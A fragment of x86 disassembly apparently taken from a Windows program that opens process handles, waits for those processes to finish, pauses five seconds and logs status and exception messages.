xor edx, edx
mov ecx, eax
call fcn.00475a10
add esp, 8
test eax, eax
je 0x46dd44
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x46dd44
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0046e6e0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x46
call fcn.00449920
mov esi, dword [esi]
cmp esi, edi
jne 0x46dce0
mov eax, dword [ebp - 0x28]
mov edi, dword [ebp - 0x54]
mov esi, eax
push 0xffffffffffffffff
sub esi, edi
push 1
mov eax, esi
sar eax, 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
add esi, 3
mov dword [ebp - 0x54], 0
shr esi, 2
xor eax, eax
cmp edi, dword [ebp - 0x28]
cmova esi, eax
test esi, esi
je 0x46deac
nop
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x54]
lea edi, [edi + 4]
inc eax
mov dword [ebp - 0x54], eax
cmp eax, esi
je 0x46deac
jmp 0x46dd90
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
mov ecx, edi
call fcn.0046e5a0
push str.___Failed_to_found_gui
call fcn.0046adc0
add esp, 4
mov ecx, edi
call fcn.0046e5a0
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.00552581
call fcn.0047d360
xor cl, cl
call fcn.00467800
push str.___Wait_5_sec...
call fcn.0046adc0
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.0046e5a0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x45
call fcn.0045a840
xor ecx, ecx
call fcn.0046e5a0
mov ecx, dword [ebp - 0xf4]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
push eax
lea ecx, [ebp - 0x50]
call fcn.00449ba0
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x50]
call fcn.00449a20
lea ecx, [ebp - 0x50]
mov esi, dword [eax]
lea eax, [ebp - 0xe4]
push eax
call fcn.00449a40
push ecx
push esi
lea ecx, [ebp - 0xb4]
push dword [eax]
call fcn.0044c5f0
mov byte [ebp - 4], 0x17
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0xb4]
mov esi, eax
call fcn.00449910
push esi
push eax
push str.____Exception_in_DynamicInformationFromTail::Init:__s._Code__lu.
call fcn.0046adc0
add esp, 0xc
mov ecx, 1
call fcn.0046e5a0
int3